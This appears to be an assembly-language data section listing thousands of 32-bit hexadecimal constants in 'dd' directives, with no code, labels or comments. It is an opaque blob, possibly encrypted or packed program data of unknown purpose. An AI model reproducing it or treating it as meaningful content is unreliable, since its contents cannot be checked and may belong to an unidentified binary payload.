		dd 12D917ECh, 26EBD368h, 0DEC0DC20h, 73A199Bh, 708C6227h
		dd 0B526F573h, 8A688D09h, 0CFB1D208h, 0E664C234h, 50091B64h
		dd 10AE406Dh, 5B6C2F56h, 6C390A55h, 4D566C22h, 9CF29E56h
		dd 8BE43B72h, 82EC666Ch, 5684118Ah, 0B0C60558h,	0E068FA80h
		dd 475F00EBh, 5CC8BEC7h, 74233B05h, 9EDC1A58h, 0CCE4496Dh
		dd 84721054h, 3A28B0F2h, 0E4861CF3h, 8D9C0BEh, 54A60E16h
		dd 2D1D921Ch, 3039C7B1h, 0AF22EBC7h, 7A647C90h,	0B6246809h
		dd 64A4C25h, 0A13B4189h, 0F7A95615h, 8E4ECF4h, 82510E0Ch
		dd 923C56B0h, 5151C521h, 0C5653CE0h, 14B73A00h,	0F402373h
		dd 186D4548h, 2915C133h, 7760388h, 558FDA81h, 0CEEB0613h
		dd 3FACB7EBh, 0C11F542h, 0D855F05Ch, 111A05E2h,	0B7507501h
		dd 0EA13C40Ch, 0AB73510Ah, 417D915h, 0F6C45AFh,	41024A27h
		dd 0F7C9646Eh, 95EE9144h, 968F7086h, 0FBB9880Ah, 0ACF09E46h
		dd 55983FF8h, 0C9427502h, 0C6A48641h, 0B0C89CC6h, 894D9727h
		dd 48EBC04Ah, 0F6039297h, 947CA9D0h, 4A41C7E8h,	8D86992Eh
		dd 5831260h, 0A24114D6h, 0EA2F0507h, 8824B7FEh,	0E18E396h
		dd 8209FC1Ah, 1B66F0EFh, 8BF836F8h, 2DB1C4Dh, 1C3EE106h
		dd 0B5CF1CDEh, 17077330h, 0E466601Ah, 0DC02C41Ch, 4D1C9457h
		dd 0B1BB2DCEh, 0FC3DCE68h, 189C14A1h, 4082C3Dh,	1C6A3A6Dh
		dd 4AC643F6h, 0A1F0C32Ch, 0F441CB98h, 352213BDh, 0A3E12810h
		dd 5B822114h, 2241B07h,	6DBD6A20h, 51DF1C2Ch, 0D4FDDA44h
		dd 0D607223h, 4B33ECC1h, 53E424E4h, 0E0020C71h,	72C48BADh
		dd 89F632F7h, 0E4080348h, 6E95A009h, 66F44588h,	5D775B78h
		dd 0A2028A09h, 0DD4A5F14h, 26DB365h, 0D36FC1ECh, 92988A3Fh
		dd 0F44DFAA0h, 5D124888h, 7116A8ECh, 680C5000h,	103854C3h
		dd 41E887F9h, 3A96E0D0h, 0C91FA2DCh, 248AA12Ch,	70169278h
		dd 6C605B3Eh, 2B2E70A5h, 1106F154h, 1789AD9Bh, 9856F6Bh
		dd 0B90C0664h, 0E7AA2BD9h, 12CD196Ch, 8AA164BEh, 68B5F0AAh
		dd 0C5F5207Ch, 0CA18CBA7h, 0AAC87487h, 0B260A846h, 0B7BD591Ch
		dd 252A1B2Ch, 6283B73h,	9C4CAF0Bh, 6E71EC3Dh, 0ED9B5CBBh
		dd 0C70C00BAh, 0ABC5F905h, 714E7F66h, 58A2FDF4h, 0F6FFD002h
		dd 5DC9E022h, 6184840Fh, 75B90117h, 0CDB0FF4Eh,	0E40DFDD4h
		dd 0A01F6139h, 1ECAB4CBh, 0DE2E96AAh, 26D90CB4h, 0DB205EACh
		dd 7AF0A80Ch, 0D40563B6h, 0F0C6F517h, 84F25874h, 0EB6915C6h
		dd 3D7AED10h, 6A00A8CDh, 3903254Bh, 2FB8B819h, 2001FDF8h
		dd 0EE35837h, 0E10B8221h, 2B172639h, 689D4628h,	0B9EBC419h
		dd 0C41546Ah, 14DC1159h, 0B3A28104h, 913F047Ah,	45701015h
		dd 7D9FF405h, 3A5A8597h, 52C9CDAEh, 0A6808B0Eh,	30229ACFh
		dd 5103F79h, 3EC05480h,	3A530F72h, 0A249010Fh, 66748B1Eh
		dd 0B909A83Bh, 0C5013A6h, 3ACC13DEh, 0C07B9838h, 92A7FA01h
		dd 2ADC91C1h, 85869850h, 4A554269h, 9880F0E5h, 3076E840h
		dd 0CE5432AAh, 8D9EB75h, 0FCC10D96h, 0C2E1850h,	0D0D5146Eh
		dd 0F618A3A1h, 0F62A12D9h, 591C17A2h, 1AA405B9h, 6FB879ABh
		dd 92F6C81Ch, 0CB0CAB0Eh, 0BA93C8F7h, 3681EC1h,	0FDF43202h
		dd 802C868h, 9C043CF9h,	1B27C700h, 660CCBC3h, 8F80C387h
		dd 17FAF2D9h, 0B39DF60h, 0FF05B498h, 0B4B213Bh,	73820DB3h
		dd 9D8EB005h, 6B0C9BDh,	73383B0Ch, 3D463B1Ch, 5770DF5h
		dd 46FDDE2Eh, 0FD6B15Ch, 6AC9EBC1h, 0C69E2592h,	528ED80Bh
		dd 0F4BB50FDh, 5161D881h, 1687906Fh, 0EC20D9E5h, 9B1A4F16h
		dd 0CCCCC40h, 34FAF086h, 0CFCD1468h, 0A2E9313Ah, 0C619F1C8h
		dd 3A0C1CC3h, 1231D08h,	85C8EBDh, 0A40F1408h, 0DFE33F94h
		dd 0A972D237h, 3CF7ACC7h, 0F909B0FEh, 63A4E70h,	0A406A4F0h
		dd 0BD144DF7h, 730C0617h, 9F3483F0h, 0F4F7A427h, 78A4F8F7h
		dd 0F79A4E4Bh, 0F219F0F0h, 1864542Ch, 64F0F4D8h, 0F0320F90h
		dd 0AC858D89h, 463A4F0h, 7401B524h, 27B11EA4h, 461DF4C1h
		dd 3610Dh, 1908CF1Dh, 7EA8D315h, 0CDB275C0h, 2E0B75A8h
		dd 0A85A79EBh, 2700C5EFh, 0D84A2C1Ah, 622B2580h, 0A535127h
		dd 7421D81Ch, 207F3917h, 7D11B30Dh, 0FC7D47F8h,	7252C940h
		dd 802E3AF8h, 0B8261FCEh, 965DEBF4h, 4893652Dh,	0B8B88EBCh
		dd 5925756Ch, 4D76510Dh, 42C26CBCh, 23B2B8D6h, 0F66FB452h
		dd 38190D84h, 45B61C68h, 60562A24h, 1908B6B3h, 0ADB8B9A4h
		dd 0B6621E4Ch, 8FA450E4h, 760DE04Ch, 29FF1E42h,	8ABA4A8Bh
		dd 0CD170A9Eh, 30EB56D7h, 68224058h, 0C9887D33h, 0D62E05E8h
		dd 439DE04Fh, 48FCB74Eh, 0CE600B05h, 0AD2039Ah,	7848AC00h
		dd 0BB10D90Bh, 13152D56h, 0DA41B315h, 122949A3h, 4CC80354h
		dd 0D3EA080Ch, 0F158060Ch, 459C01Fh, 0DB7A80C5h, 6D8A8923h
		dd 514A14B2h, 87402213h, 0CD656013h, 76FCF657h,	1114B28h
		dd 1E0AE47Ah, 9E4FC68h,	0F85C20AAh, 0B53EA403h,	7DCD5865h
		dd 0F24C8420h, 2E0468F8h, 12CCCC14h, 0A2CE73CBh, 83675112h
		dd 0C96BE25Dh, 0FB3D897Dh, 893A8835h, 19C12B24h, 0E8458189h
		dd 3E0DEC1Ch, 1EDAAAA0h, 1D8725DEh, 7D0BB8A6h, 8180A4DEh
		dd 0AD26EE0Ch, 761CE0CDh, 0F87E1C74h, 0E1EB06FCh, 9E3F4CEFh
		dd 0CD66C4EBh, 0A41120C5h, 8030702Eh, 0CAF2ECEh, 9A8B025Ah
		dd 96621823h, 328D1033h, 5156164Dh, 70B9914Bh, 0E52B5EC9h
		dd 27A63525h, 4E22D026h, 8832E707h, 6E78B982h, 892FBB42h
		dd 0BB31B78Ah, 9D84E8F0h, 6A2326C2h, 0D1162200h, 6AF44FD8h
		dd 0F068680Dh, 1C0DC6F0h, 0ACE84822h, 308816E8h, 0EC58EC27h
		dd 4BD92ABAh, 59335468h, 0FC0B2210h, 4161195h, 0EC1A1175h
		dd 8EB16720h, 197558B5h, 4DD2005h, 33050372h, 726F802h
		dd 4010672h, 1D3DAC16h,	0D429AA19h, 0C6BCD006h,	0BAAE46CEh
		dd 0AEE0B5E0h, 6E919040h, 38370C42h, 202D9CF4h,	0F735E1C6h
		dd 440F0015h, 12711A21h, 25ECCC2Dh, 0D9A35E06h,	0E631020h
		dd 3965262Bh, 4706E5B2h, 23057516h, 30B3921Bh, 1619022Dh
		dd 66822498h, 254C9C2Dh, 191E4390h, 90DBB44Ch, 0F28C405Dh
		dd 2CF626FEh, 133B2D08h, 1B6E106Fh, 4477950Eh, 0EE8B9424h
		dd 0D554BFEh, 451B277Bh, 60325E59h, 148539DFh, 76AD2F74h
		dd 0DB2F14FFh, 4626DBF8h, 4E3560FAh, 0D43C80Eh,	7ACCF0DCh
		dd 54D264EBh, 0DC2EF7C5h
		dd 37FAFF37h, 0B240B364h, 6F08243Fh, 1D77B365h,	123A5048h
		dd 0C3B3ED65h, 95B491CCh, 9B159FE6h, 6C9DF21Dh,	8E1AB4D5h
		dd 0ACC1121Bh, 4551ECBCh, 0E2CBC51Bh, 9794C557h, 2C92A64h
		dd 82CE40BAh, 5CE4D8ECh, 0F28F1002h, 0C85E1B0Eh, 70B22287h
		dd 0BB25FCA8h, 2DC83917h, 0D4F9D4F7h, 4B7206F9h, 790CB352h
		dd 0CDF9C0E3h, 0D5BD196h, 33B06EBAh, 0EC219620h, 3323426Ch
		dd 7A89BB15h, 592C58CFh, 9BACA240h, 6CEC590Eh, 0CBFECB4h
		dd 3E136AA5h, 0E316484Eh, 0FA0D0599h, 0D9071821h, 6670DC96h
		dd 0E00A2161h, 2A89C480h, 9A790BA7h, 3FF45993h,	0B26410F5h
		dd 0F973F882h, 526CD197h, 0E060A0h, 0CCC216E4h,	1269396Fh
		dd 0B00DFAFAh, 0C3D7124h, 932740h, 0FCB70D30h, 0F55567F0h
		dd 408B2508h, 6CEC9332h, 292A8701h, 930EF91Ch, 0BCDD015Dh
		dd 0B3A20DF9h, 0A64A207h, 0F603030Bh, 95142B1Ch, 2481AFCh
		dd 73064E4Dh, 850124A0h, 8327212Fh, 4E860214h, 6B16B0D9h
		dd 76B5096Dh, 9F417030h, 8A4E1B6Ch, 6B169685h, 0F5D73646h
		dd 0B8890B21h, 8E0017C6h, 80011EF1h, 0FE7A12A5h, 9B1B16FAh
		dd 2F8A250Ch, 490B2388h, 0B8C8BC11h, 1C251E28h,	3002699Ch
		dd 0F45479E8h, 2868F130h, 99F770CFh, 5E7AACECh,	7635147Dh
		dd 259A1A0h, 25F07630h,	0D5F78081h, 8CB0BD87h, 0FC354D22h
		dd 14024D11h, 0E5FE165Dh, 766A89A4h, 45131FC2h,	452DE82Dh
		dd 0B31A1EECh, 0F8FC1D2Bh, 735BB5FBh, 3B41C969h, 2A8C72C1h
		dd 882C2C3Fh, 820A3266h, 47644AC1h, 0D040F44Ch,	1005C0C5h
		dd 0D96ACD86h, 33D2EBECh, 3E3191CFh, 493D08FAh,	0B01EB00Dh
		dd 0B20E7C2Ch, 28739F23h, 17F62819h, 2CA40F0h, 8223183Eh
		dd 2CD1462Fh, 0C1206124h, 881A7998h, 31D9F9F9h,	68845E10h
		dd 3F06CFE7h, 75E8CDD2h, 2E617B74h, 0F586A834h,	0C0A833BAh
		dd 7B7B1BB1h, 77D78A43h, 0A02AF616h, 9FDE8EC8h,	3E48895Fh
		dd 331EB81Ch, 1D960A0Dh, 42DD320Eh, 109AF7D3h, 97FA2FB5h
		dd 0C89979FCh, 275A9A0Dh, 0F8A46E70h, 0E4918730h, 0A4A4F9ACh
		dd 0D784B638h, 2D4F0B91h, 6491DC68h, 101ACA63h,	0EC9A4A3h
		dd 161D80A2h, 841003E8h, 2901F083h, 59792B05h, 0A13CD56h
		dd 0A41C15E0h, 0E0289CFCh, 0A0F89A45h, 0C643650Ch, 98DEDC12h
		dd 0AB56185h, 0E55E1C36h, 24C0453Ah, 34A85F75h,	6587C178h
		dd 0AD2CA0A4h, 0C572AAD6h, 2ACCFC12h, 0E630D9EAh, 305AEB21h
		dd 9AC2E065h, 95690ECh,	921D92CCh, 0DCA61524h, 88A2900h
		dd 25A2A357h, 59F20CF0h, 0D5B23218h, 5C14141Eh,	0DDA23140h
		dd 9037DC0Ch, 12D411ADh, 25371B76h, 708F054h, 91DD36D0h
		dd 0D0D0F9A0h, 0BD00007h, 0F4367232h, 47BEF6C8h, 1BF436FAh
		dd 0C08B1C36h, 0CC1CC873h, 67064BCCh, 6D519BDDh, 3602056Dh
		dd 9D595BF0h, 0DC431B78h, 8D59A8F4h, 0FE0868B1h, 7F25910Ch
		dd 0E740126h, 10C05F8h,	0B9076F7Ch, 1A888710h, 80F40B6Dh
		dd 1EB21CB7h, 266922F0h, 0F3A043E4h, 0F02605F8h, 0D9B7B259h
		dd 0B0FFF416h, 0BC795C3Fh, 0CCA3AAC0h, 349CECCFh, 93A8A472h
		dd 9C76C924h, 601D04h, 8BECD003h, 0E02ECD20h, 0D0001217h
		dd 5C8E7554h, 0FCCC542Ah, 0E903FB7Ch, 0E5922628h, 0E99E2DD4h
		dd 2885D575h, 0B33806FAh, 78C83917h, 6FB78FBh, 80C3090Ch
		dd 6A226E00h, 139016F7h, 84FB78F2h, 99221DFBh, 804916D9h
		dd 0CB12E422h, 0C970BCEh, 4BFB8032h, 0E573E40Eh, 0D1FB8000h
		dd 0CF90725Eh, 0FB70FB70h, 0FC42FC42h, 43C49E42h, 802FEB45h
		dd 273306FBh, 0DB0121DFh, 12790211h, 29DC4E4Bh,	0B65EFC42h
		dd 2D6D366Ch, 0B28A3C1Bh, 4F9556B9h, 0DF081E0Ah, 0CD689712h
		dd 2011C66Ch, 0AD1DDF65h, 5439037Dh, 1D8826FEh,	0BA3E2808h
		dd 72DF6C91h, 872502EDh, 25AEBC47h, 13310405h, 1E08C9CDh
		dd 0FB748914h, 0CC042774h, 97A31E09h, 7810FB64h, 0EF053BC6h
		dd 849A332Dh, 80723903h, 7CFB64FBh, 781B20D5h, 0A73A7CE7h
		dd 8DC8FB74h, 0FB64E4A6h, 0FB74B41Ah, 6CB03420h, 0CA1EB34Bh
		dd 8FC64762h, 7ECFD0BEh, 50598810h, 0D008032Bh,	319AA4BDh
		dd 2DE1BD13h, 9DE3261Dh, 0FCCC524Bh, 0A38CDC9Eh, 5DCA6D82h
		dd 0D8D02114h, 2D442C8h, 21205D29h, 0C470727h, 2A103901h
		dd 764884BFh, 3068EF04h, 0B38CB8D0h, 5607203Ch,	9503C0F0h
		dd 102068FCh, 0D064680Fh, 0E8105554h, 97FCB583h, 65B3020h
		dd 90AE0CEEh, 6169735Eh, 19120093h, 2C258661h, 0E7FE89Ah
		dd 9D9B0195h, 6C6F0C4Dh, 92B4172Dh, 80E9903Fh, 617A2944h
		dd 6F593C91h, 81A3B23h,	0FDDB34F4h, 884C3610h, 0A1253B64h
		dd 0CC159330h, 0DC6925CEh, 0BC3843FDh, 0FC86B20Ah, 218407E0h
		dd 7C32A292h, 94E0886Eh, 0BC40529Ch, 27908D02h,	2B13FB7h
		dd 0DD27FD44h, 8662CDA9h, 48A3EE4Eh, 48648h, 36EE2E78h
		dd 2B0C498Eh, 5CAAD823h, 30606880h, 0ACD100F6h,	0EB91E9A9h
		dd 17EAB45Eh, 21C93456h, 853B3DFBh, 3B24726Ch, 3256D0C8h
		dd 0EB101F64h, 46982322h, 0E0208F41h, 0A7C588E1h, 0AA332210h
		dd 2A861713h, 2810F23Ah, 423705h, 0CD2CC682h, 0B789239Fh
		dd 0EA60F0F0h, 2EF000h,	36EE2138h, 415247C0h, 1F647F87h
		dd 87213269h, 410068C4h, 0C8D206F4h, 5F43C85h, 1D0AF404h
		dd 6FA8AC0Dh, 0F2870E1Fh, 0EE0C9A13h, 0F4EED15Dh, 8741C168h
		dd 184C833Ch, 7B40B3DCh, 66204E22h, 0A666038Bh,	857804A7h
		dd 0FD4096EEh, 207B3F0Eh, 0F27F835h, 744685B7h,	0E1138C1Bh
		dd 8B4F4407h, 0C2320367h, 0F7A06FD7h, 6AC01C50h, 50894052h
		dd 0D58390F2h, 40FD3C49h, 0AD6CEAFDh, 92580F0Dh, 41598D64h
		dd 7E9A5DFCh, 6AA17A05h, 1AB3C30Ah, 931CBC16h, 0BE40BB05h
		dd 4405187Ah, 0BC1B1630h, 4566A1B2h, 8FED0566h,	0C267D030h
		dd 6714FD9Eh, 0D663347Fh, 107AB00Eh, 0A4B88B02h, 581EAC06h
		dd 28107D71h, 0A3DE1E22h, 63EE0549h, 4391DA8h, 0AE35286Eh
		dd 8552E687h, 88A7613h,	25FD2C72h, 65D90814h, 38A8B9E8h
		dd 2A67DA10h, 34882B6Fh, 364B7A39h, 8356115h, 988812B5h
		dd 8B50F564h, 0EF5216CEh, 665705DBh, 6A4B0850h,	0F450184Ah
		dd 4A926487h, 0DF37284Fh, 4E021975h, 140F0619h,	245B5202h
		dd 83F2B45h, 2E02F7C8h,	0B304EC1Fh, 0E1A9F590h,	53009E18h
		dd 76EC0C7Fh, 0F88E7512h, 0A46F5247h, 1966E897h, 9C9E4AE4h
		dd 0E4E43Ch, 0E4E42B74h, 0E0E0E0B9h, 4E080B29h,	8DA7D1BEh
		dd 660E7506h, 0BF8853AEh, 6734CC39h, 7906EC0Dh,	14167109h
		dd 5D08DC6Fh, 0F6CECDDCh, 23DC9E14h, 0B2326608h, 0D823FC9Ch
		dd 0D8F00200h, 0C481C8D8h, 105EFAA3h, 1B81B663h, 770C9310h
		dd 0B358B0C4h, 5073806Fh, 13AA4C0Ah, 3646C148h,	0C0B09CD1h
		dd 4390E08Ch, 515E0520h, 0D2E7453Ch, 0F7A04C9h,	87F16DA0h
		dd 1086831Ah, 6638A297h, 4A0068A0h, 132BD140h, 0F4C95680h
		dd 108A2C27h, 0E733F4C5h, 0E280CD03h, 3B3BF0F6h, 53B077Ch
		dd 6D680A4h, 0C326112Bh, 8590681Ah, 2E8233DAh, 5E668998h
		dd 0A018BFEDh, 0B340496Dh, 11651A80h, 63A2AB14h, 0A8293404h
		dd 0E40C704Dh, 0D29C9F61h, 0E024C07h, 0C0468005h, 11520DB2h
		dd 0C1FEC78h, 6C6644F4h, 4CB8280Bh, 0B0418C15h,	829D2BAh
		dd 161A8293h, 0BEA3C738h, 3A817E85h, 0C8D23B13h, 6C62C4E8h
		dd 521C05CBh, 0A8090650h, 0DAC373E0h, 58182B9Fh, 0CE9077F7h
		dd 15337068h, 5C9B7104h
		dd 196CC3Eh, 0E4808D4h,	596084Eh, 0C56C01E2h, 1B2AA4E1h
		dd 0F7799F4h, 700400B2h, 5377405h, 0F6317402h, 0B208D962h
		dd 51B55044h, 532C8305h, 0E51AE0E0h, 4128AA3Bh,	0BE0FF4EDh
		dd 1102F445h, 0A575C33Fh, 6D39D67Dh, 0A4E40B79h, 105E079h
		dd 7159ED4h, 382680A1h,	0FCD487CAh, 40F40A01h, 8E06A83Eh
		dd 1CD903CAh, 0FCD8D3B8h, 2829FE7Ch, 16950130h,	8C148B48h
		dd 6680E1D1h, 5A291CC2h, 3C316516h, 72390FCh, 3EFC3CD9h
		dd 4FFC3CA6h, 3C1C9301h, 40EC40FCh, 40167D8Ah, 8B0E736Fh
		dd 3100CF11h, 7232028h,	7D8B36B2h, 2F098B19h, 204D5351h
		dd 0E335366Ah, 0D232365Eh, 11444487h, 8B597E2Ah, 93FB3426h
		dd 27FD10A4h, 9E08C160h, 992C9527h, 8B763623h, 0D05B0347h
		dd 0D10D0C0Eh, 0B08BF3AAh, 0A2AC3932h, 0E70A2BD7h, 239A4A24h
		dd 3048235Bh, 0B9E4A8FAh, 1738EF92h, 8A9828A0h,	34AE792Bh
		dd 64352C90h, 3870ABE4h, 0CC6C7BDCh, 3B63CB11h,	0C1830F8Dh
		dd 390B901Ah, 0B427281Bh, 19390B28h, 8C349919h,	90191939h
		dd 642C7134h, 0B901986h, 5928492Ch, 3CE31720h, 66063BFBh
		dd 0DCF9F34Ch, 3C0B05DEh, 0BCFA3CFAh, 596450FBh, 0FA8805BEh
		dd 0B10EB08Dh, 48F5F312h, 3C8C848Eh, 74FB19DDh,	0C8C84E38h
		dd 64333CD8h, 0BEFC4C28h, 5479190Bh, 4419FB34h,	464AD82Eh
		dd 0B15062Ch, 37C078C6h, 47D15CE1h, 1602C17Fh, 0C1B72603h
		dd 8A60BD96h, 698543ABh, 666B1A4Ah, 206E1833h, 623A418Ah
		dd 44AFE931h, 91825919h, 0FE05A248h, 0C88096FEh, 6E896787h
		dd 330733FCh, 82781446h, 0C0C2CE19h, 0A23B3776h, 0B3D07948h
		dd 0C79D96F7h, 9753F8B4h, 593923ACh, 14D2DC0Eh,	51BF003Dh
		dd 0EBAF0D2Ch, 0C8EAEBECh, 32850E41h, 4A1ED3E0h, 0F463AD1h
		dd 0A06FDDB8h, 9CDC0C5Eh, 512A0090h, 60F410CCh,	38028A9h
		dd 0C6E417F6h, 81270Ch,	5BB008F6h, 8D8BEC45h, 851B905h
		dd 109BD425h, 2E1EC041h, 0B600EA14h, 0F20C3F62h, 77F6E436h
		dd 3D7D0005h, 5AF410DEh, 0E7E4816Bh, 0FC4DF030h, 0B42511FFh
		dd 66C362A6h, 0C607DC4Ah, 8C50F6E8h, 1A0C0951h,	0FD2B24F0h
		dd 43196F60h, 3680A75h,	4EE41240h, 3CECD738h, 7641E34Dh
		dd 0FB1867B6h, 8B0D8B9Dh, 38A60790h, 0DCF9FEC3h, 24F024A1h
		dd 486816F0h, 171C41D6h, 0B5BDFB16h, 8B4A4913h,	753CC24h
		dd 2C2173A2h, 6CA39000h, 2CE29E65h, 0E1C1F9F2h,	1429868Bh
		dd 0F9F414D6h, 0EC13831Ch, 0F5AC22FDh, 120AF5ECh, 710BDEF6h
		dd 82BD0EF7h, 14F55FFAh, 0B3748878h, 5F170D7h, 3E4100F7h
		dd 51A703F5h, 0F410FB09h, 0BE86DFDDh, 30558305h, 8B3EB58Dh
		dd 6800A5FCh, 0B1BD4119h, 4FB88A10h, 70D1B9F3h,	308A538h
		dd 816028Dh, 3E4B78F2h,	8F20807h, 0D8D90BF2h, 18994839h
		dd 19B45037h, 0A361A419h, 463C1818h, 1C646426h,	841C181Ch
		dd 1C4B9017h, 0C42E1453h, 0F1F8A726h, 0EFFC1771h, 7C9E4942h
		dd 0EFFCEFFCh, 0A2FB392Dh, 0E2F11E82h, 0E7C9703h, 0ECF1EC72h
		dd 0ECF1ECF1h, 922E45F6h, 502510F1h, 1906482h, 1010E94Bh
		dd 65919099h, 10141454h, 192E473Eh, 0F1F01414h,	0F3CF1ECh
		dd 0ECF44019h, 25D5F8F1h, 0F8F88C83h, 7E11C907h, 2D103CCDh
		dd 0F0E70C68h, 0EF6C9DFDh, 5DE87363h, 0D91C1806h, 0EC853639h
		dd 0F00467F4h, 2F7B64F8h, 333F08CCh, 784A18F7h,	9E4EDE06h
		dd 19640B27h, 808E419h,	464B0C44h, 80C6426h, 0D11B920Ch
		dd 18F60C90h, 1456D0F1h, 0A7496A5Fh, 0D939E283h, 14C1A91Ch
		dd 98B3EB10h, 8FEE7A9h,	470D0767h, 3BB1C73Ah, 7E4D739Dh
		dd 0B60F0313h, 5388D7FBh, 0C63EF270h, 0DA040584h, 0BB2D1536h
		dd 221BEB2Ch, 0FDF11462h, 1D4DECDCh, 0EB06582Ah, 9A566297h
		dd 0A480399Fh, 0A3000305h, 0A4DE12Ch, 1C6C2FDFh, 9040EE9h
		dd 70FCF814h, 0AC1C80A4h, 8DF21011h, 0D54270Ch,	5BE640B5h
		dd 342B178Ah, 1EA9A906h, 9D608435h, 0D5612817h,	1523AC8Fh
		dd 5AD5C0F2h, 0D0506814h, 0D5B4D948h, 58221B55h, 8131ECF2h
		dd 48ADF120h, 4A60C72h,	1ACA14F6h, 1638B005h, 2C493826h
		dd 0BAEC343Bh, 1604C9E5h, 5CC13A0Bh, 4F201E1Fh,	5A506818h
		dd 0F038F902h, 454F90Dh, 66F10476h, 10E3F26Fh, 7F03403h
		dd 1B30C30Dh, 0B2330333h, 72E4B607h, 1DF034C8h,	1E0DF038h
		dd 3F6E7ECBh, 2F7DEB06h, 4EC8550Eh, 3CDC9E1Ah, 94F65348h
		dd 74406BBDh, 742E1328h, 95F2714h, 759091B9h, 8CF03869h
		dd 7E6583F7h, 11FE453Eh, 0BA79806Ch, 0F6060EB0h, 0E77B0C1Ah
		dd 0F18AD419h, 6F1085Fh, 0DEDE775Ch, 4406ADFh, 8DF70F39h
		dd 7C310128h, 0BD87C25Eh, 4CF6F03Ch, 77F03CD5h,	1684D958h
		dd 115D416h, 46B25976h,	517242Dh, 40DF2532h, 63A0A068h
		dd 0A0C957B2h, 3C4FF08Bh, 4C611A48h, 90644F8h, 0BD256A03h
		dd 39304258h, 6D2A30D0h, 6D0CC958h, 131BF346h, 35403CD8h
		dd 0D4F40184h, 0BE792B4Bh, 691AAC65h, 2B04D6ECh, 0DA16DE7Bh
		dd 0D6C81208h, 48692Eh,	0B0E44265h, 20E40F46h, 4E6775F1h
		dd 0CAB58116h, 26F5500Eh, 7B00F580h, 49F5D494h,	725111DCh
		dd 0D54C3902h, 1C95D54Ch, 0D54CE402h, 2074D438h, 538AA03Ch
		dd 4BC40866h, 1B44A006h, 4E269205h, 2E9C342h, 0D8BA4817h
		dd 0F0D94123h, 0D0EC2301h, 0C7406859h, 0BEA6ECA0h, 0D9A1272h
		dd 0D3FCE0A9h, 47461725h, 82284F10h, 3B02F11Ah,	35487597h
		dd 3D084C04h, 3ABEAC08h, 4A3E3493h, 0F21EA0C8h,	4EF4D658h
		dd 7DB011F6h, 2D87896Dh, 42108538h, 0BE19B6CCh,	41830904h
		dd 7207AB02h, 62FA48D8h, 0C03209ACh, 6FB99C8h, 64E4E4EFh
		dd 44FCF8F4h, 9DE0B522h, 0FA44BD5Fh, 1831CE06h,	0C005E009h
		dd 62CAB83h, 7DE56ABCh,	0E2851B01h, 45EC4505h, 0EC304525h
		dd 1941D784h, 5593B02Bh, 68670AD0h, 6E902170h, 208F9052h
		dd 219043F8h, 0FBFC64E4h, 6DD141F9h, 40A8B14Bh,	0FA4026FAh
		dd 2F206CF2h, 3C37D724h, 9C53B0FAh, 7440A96Dh, 7921C93Eh
		dd 0F4010C2Eh, 0A5CF41FBh, 0FBE4A35Ah, 0DB9E540h, 8373C56h
		dd 0AF2EFA3Ch, 0F4CF2C8Ch, 1CF825FBh, 0F903D8BBh, 0FA481150h
		dd 931BF54Dh, 562882ECh, 4038FA38h, 0FA9160BEh,	40341E43h
		dd 34649B0Eh, 20303DF4h, 30649C83h, 602CFA3Ch, 2C324C87h
		dd 6C1E28F0h, 283260B3h, 87340591h, 308C8C88h, 206FDC2Ch
		dd 0D67CC14Dh, 90DF4C56h, 7F55911Eh, 0C801D78Ch, 60F24680h
		dd 0AA9E795Bh, 0E0D1740Ah, 0A353FDEAh, 0DC3554Ah, 21ACD9A6h
		dd 9E411408h, 26D62A34h, 817C9ED9h, 74202B04h, 0AAC2C0Eh
		dd 9F9452D8h, 0D53D153Dh, 1DBC9864h, 8A7658ABh,	0A52A459Fh
		dd 36AA3B67h, 1C7226B6h, 315F681Fh, 0C0ACB9DBh,	243D4EE7h
		dd 92B968FCh, 2217493h,	6646D808h, 3A49900h, 0AC10247Ch
		dd 0C0049264h, 388AFC9h, 19B8163Eh, 0F1040872h,	0ECAB6857h
		dd 82805CE9h, 0E9F4E800h, 8EFC402Bh, 23098D8Dh,	39070FC1h
		dd 6AA00A10h, 909DB49Ah, 0BFB4E61Fh, 5356E9ECh,	410E28DAh
		dd 26ED60B2h, 5DA09173h, 933C0C33h, 40C7010Dh, 0AC29EEACh
		dd 2CA404EEh, 4CEFB4C9h, 23909CD7h, 0B8EFB8F9h,	0DC498BEFh
		dd 46802843h, 4214BC85h, 2ED60BC0h, 0E4C4562Ch,	675B2A52h
		dd 0F0EEB0D5h, 47C4230Eh, 0B00A21E0h, 3211CFAFh, 9806501Ah
		dd 8415B56h, 0EF255CE4h, 45076788h, 0E9E9E43Ch,	4C1B9F23h
		dd 0E9F090CFh, 308CE9ECh
		dd 0DA9F203Ch, 0A580EBF4h, 2A4F328Ch, 0B45FADCAh, 0EEB527EEh
		dd 26D9DF70h, 9D139C1Dh, 9E029208h, 342738A9h, 0E2867B2Dh
		dd 132404F3h, 573C0525h, 0D61D2731h, 0E8DCC951h, 66BD267Fh
		dd 0DC839313h, 5F0D98DCh, 0EFC9EFC8h, 7B01A182h, 0EC4E4B10h
		dd 999B2E71h, 1FA4302Dh, 0B3C2A844h, 28AF6141h,	0B30590D0h
		dd 78480763h, 21FEE854h, 0FD978D7Ah, 16133356h,	3D9DEA35h
		dd 161C085Eh, 0E002D8Bh, 47597786h, 4A254BF4h, 75D3A384h
		dd 88B5B97Ah, 51140C7Ah, 0FD88E9D8h, 0BB05DE35h, 3BC12B28h
		dd 0F671BD37h, 0E25126A3h, 0C02B8A1Ah, 0B36004E8h, 0D83A8326h
		dd 18B0343Dh, 0D1784AE0h, 0A66E8DB0h, 0A0B26DDEh, 0CD5206F8h
		dd 68C54F9Eh, 0ED82CF03h, 46CD1D16h, 11614430h,	212C4274h
		dd 8820D243h, 24980Ch, 0C066E341h, 3735911Ah, 0EDA83F80h
		dd 25793375h, 9875C907h, 71EFE9E8h, 0C97F242Ah,	72AA0578h
		dd 0DDCE7B3Ch, 76DB34Eh, 8CF00F89h, 0ECE648B0h,	613DE648h
		dd 0C0622F6h, 14587319h, 0B955CC44h, 64F61710h,	100C8B67h
		dd 1C2D00C6h, 3206D60Ah, 1B713E21h, 13D82CE4h, 7B8DEB2Eh
		dd 0B9C896Ch, 3F87591Bh, 6CEA2218h, 184D9827h, 0BD4118Dh
		dd 844B207Bh, 2D817C7Fh, 12CFEC0Fh, 3DA57F1Fh, 633B0632h
		dd 807F406Ch, 801C2689h, 5EB343C3h, 2870109h, 13246DB9h
		dd 0E64CE4B6h, 38201023h, 0E750E404h, 8D8210BFh, 0DB230F24h
		dd 5868D80h, 6EDA1062h,	0F9A3B25Bh, 4CA8E858h, 1AF51735h
		dd 2B47B888h, 0B5EC3C0Ah, 98BD882h, 58752A46h, 3996082Fh
